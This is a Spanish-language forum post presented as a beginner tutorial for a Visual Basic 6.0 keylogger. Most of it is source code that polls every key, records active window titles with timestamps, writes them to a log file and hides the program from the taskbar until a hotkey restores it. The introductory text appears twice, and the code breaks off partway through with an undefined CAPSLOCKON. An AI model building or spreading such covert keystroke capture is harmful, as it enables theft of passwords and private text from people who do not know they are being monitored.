Keylogger Fantastic - Open Source - Exclusivo de DeadGamerZ.Com
Hola , Les presento mi Primer Post Aqui para VB 6.0 , Bueno despues de codear Como mierda , termine ps ._. , Bueno Este Sencillo Tutorial - Les dira para crear su Primer KeyLogger - No solo Te dice que tecleo , te dice que abrio/en que hora/Fecha/hasta creo que te dice la Direccion y el Progama - eso es lo que lo hace Diferente a otros KeyLogger's - Este tutorial Sera sencillo para los que comienzan a Progamar en Visual Basic 6.0 !
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Bueno xd , Primer Abres tu VB 6.0/Nuevo Proyecto/.Exe
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Añadale Estos Siguientes Controles !
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Command1 - es para iniciar el grabado de teclas.
Command2 es para detenerlo.
command3 para ver el archivo (archivo txt o html)
Command4 es para eliminar el ArchivoLog.txt/Html
Command5 para ocultar el formulario (se restaura con Shift+F9)
Un Timer1 con el Interval en 1
2 OptionButton - 1 es para abrir el ArchivoLog Con extension .TXT y el otro con Extension .html
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Codigo
Hola , Les presento mi Primer Post Aqui para VB 6.0 , Bueno despues de codear Como mierda , termine ps ._. , Bueno Este Sencillo Tutorial - Les dira para crear su Primer KeyLogger - No solo Te dice que tecleo , te dice que abrio/en que hora/Fecha/hasta creo que te dice la Direccion y el Progama - eso es lo que lo hace Diferente a otros KeyLogger's - Este tutorial Sera sencillo para los que comienzan a Progamar en Visual Basic 6.0 !
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Bueno xd , Primer Abres tu VB 6.0/Nuevo Proyecto/.Exe
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Añadale Estos Siguientes Controles !
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Command1 - es para iniciar el grabado de teclas.
Command2 es para detenerlo.
command3 para ver el archivo (archivo txt o html)
Command4 es para eliminar el ArchivoLog.txt/Html
Command5 para ocultar el formulario (se restaura con Shift+F9)
Un Timer1 con el Interval en 1
2 OptionButton - 1 es para abrir el ArchivoLog Con extension .TXT y el otro con Extension .html
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Codigo
- Spoiler:
- Option Explicit
'************************************************* ****************
'Comentario.- Declaracines Del Api ._. - ;D !
'************************************************* ****************
'Comentario.-Funciones api para las teclas
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'Comentario.-Para capturar el Hwnd de la ventana activa
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Comentario.-Api que obtiene el tamaño del Caption de la ventana
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'Comentario.-Api que obtiene el Caption de la ventana
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
'Comentario.-Variable para almacenar las teclas que se van presionando
Dim StrLog As String
'Comentario.-Para el Apth del archivo log
Dim path As String
'Comentario.-Para ejecutar el archivo log desde el boton VerArchivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Const VK_CAPITAL = &H14
'Comentario.-Para el titulo de la ventana activa
Dim strVentanaActiva As String
'Comentario.-Ponemos en Play la grabacion de teclas
Private Sub Command1_Click()
Command2.Enabled = True: Command1.Enabled = False
Timer1.Enabled = True
End Sub
'Comentario.-Pausamos la grabcion
Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False: Command1.Enabled = True
grabarArchivo
End Sub
'Comentario.-Boton para abrir el archivo Log
Private Sub Command3_Click()
Dim Ruta As String
If Option2 Then: generarHTML: Ruta = App.path + "\archivolog.html"
If Option1 Then Ruta = App.path + "\archivolog.txt"
'Comentario.-Abrimos el Html Log
ShellExecute Me.hWnd, vbNullString, Ruta, vbNullString, vbNullString, SW_SHOWNORMAL
End Sub
'Comentario.-Boton para eliminar el Log
Private Sub Command4_Click()
Dim Ruta As String, men As String
If MsgBox("Deseas eliminar el archivoLog?", vbYesNo + vbQuestion, "Eliminar archivo") = vbYes Then
Kill App.path + "\archivolog.txt"
End If
End Sub
Private Sub Command5_Click()
App.TaskVisible = False
Me.Visible = False
End Sub
Private Sub Form_Load()
'Comentario.-Ruta del Log
path$ = App.path & "\ArchivoLog.txt"
Open path For Append As #1
Print #1, vbCrLf
Print #1, "************************************************** ***************"
Print #1, "Unknown - DGZ[[Inicio del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "************************************************** ***************"
Print #1, vbCrLf
Close
Option1.Caption = "Formato TXT del archivo Log"
Option2.Caption = "Formato Html del archivo Log"
Command1.Caption = "Comenzar"
Command2.Caption = "Pausar"
Command3.Caption = "Ver Log"
Command4.Caption = "Eliminar Log"
Command5.Caption = "Ocultar-Shift+f9 para restaurar"
Option1.Value = True
Command1.Enabled = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Open path For Append As #1
Print #1, StrLog & vbCrLf
Print #1, "************************************************** ***************"
Print #1, "Unknown - DGZ[[Fin del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "************************************************** ***************"
Print #1, vbCrLf
Close
End Sub
Private Sub Timer1_Timer()
Dim EstadoTecla As Long
Dim Shift As Long
'Comentario.-Si cambio el título de la ventana activa
If strVentanaActiva <> ObtenerCaption(GetForegroundWindow) Then
'Llamamos a la funcion ObtenerCaption y almacenamos en strVentanaActiva el nuevo titulo
strVentanaActiva = ObtenerCaption(GetForegroundWindow)
StrLog$ = StrLog$ & vbCrLf & vbCrLf & time & "->> Ventana: " & strVentanaActiva & vbCrLf & vbCrLf
End If
Shift = GetAsyncKeyState(vbKeyShift)
EstadoTecla = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "a"
End If
EstadoTecla = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "b"
End If
EstadoTecla = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "c"
End If
EstadoTecla = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "d"
End If
EstadoTecla = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "e"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "f"
End If
EstadoTecla = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "g"
End If
EstadoTecla = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "h"
End If
EstadoTecla = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "i"
End If
EstadoTecla = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "j"
End If
EstadoTecla = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "k"
End If
EstadoTecla = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "l"
End If
EstadoTecla = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "m"
End If
EstadoTecla = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "n"
End If
EstadoTecla = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "o"
End If
EstadoTecla = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "p"
End If
EstadoTecla = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "q"
End If
EstadoTecla = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "r"
End If
EstadoTecla = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "s"
End If
EstadoTecla = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "t"
End If
EstadoTecla = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "u"
End If
EstadoTecla = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "v"
End If
EstadoTecla = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "w"
End If
EstadoTecla = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "x"
End If
EstadoTecla = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "y"
End If
EstadoTecla = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "z"
End If
EstadoTecla = GetAsyncKeyState(vbKey1)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "!"
End If
EstadoTecla = GetAsyncKeyState(vbKey2)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "@"
End If
EstadoTecla = GetAsyncKeyState(vbKey3)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "#"
End If
EstadoTecla = GetAsyncKeyState(vbKey4)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "$"
End If
EstadoTecla = GetAsyncKeyState(vbKey5)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "%"
End If
EstadoTecla = GetAsyncKeyState(vbKey6)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "^"
End If
EstadoTecla = GetAsyncKeyState(vbKey7)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "&"
End If
EstadoTecla = GetAsyncKeyState(vbKey8)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKey9)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "("
End If
EstadoTecla = GetAsyncKeyState(vbKey0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ")"
End If
EstadoTecla = GetAsyncKeyState(vbKeyBack)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{bkspc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyTab)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{tab}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyReturn)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + vbCrLf
End If
EstadoTecla = GetAsyncKeyState(vbKeyShift)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{shift}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyControl)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ctrl}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyMenu)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{alt}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPause)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{pause}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyEscape)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{esc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeySpace)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + " "
End If
EstadoTecla = GetAsyncKeyState(vbKeyEnd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{end}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyHome)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{home}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyLeft)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{left}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyRight)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{right}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{up}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{down}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyInsert)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{insert}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDelete)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Delete}"
End If
EstadoTecla = GetAsyncKeyState(&HBA)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ";"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ":"
End If
EstadoTecla = GetAsyncKeyState(&HBB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "="
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(&HBC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ","
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "<"
End If
EstadoTecla = GetAsyncKeyState(&HBD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "_"
End If
EstadoTecla = GetAsyncKeyState(&HBE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "."
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ">"
End If
EstadoTecla = GetAsyncKeyState(&HBF)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "?"
End If
EstadoTecla = GetAsyncKeyState(&HC0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "`"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "~"
End If
EstadoTecla = GetAsyncKeyState(&HDB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "["
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{"
End If
EstadoTecla = GetAsyncKeyState(&HDC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ""
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "|"
End If
EstadoTecla = GetAsyncKeyState(&HDD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "]"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "}"
End If
EstadoTecla = GetAsyncKeyState(&HDE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "'"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + Chr$(34)
End If
EstadoTecla = GetAsyncKeyState(vbKeyMultiply)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDivide)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
EstadoTecla = GetAsyncKeyState(vbKeyAdd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(vbKeySubtract)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDecimal)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Del}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F1}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F2}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F3}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F4}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F5}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F6}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F7}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F8}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F9}"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
Form1.Visible = True
End If
EstadoTecla = GetAsyncKeyState(vbKeyF10)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F10}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF11)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F11}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F12}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumlock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{NumLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyScrollLock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ScrollLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPrint)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PrintScreen}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PageUp}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Pagedown}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
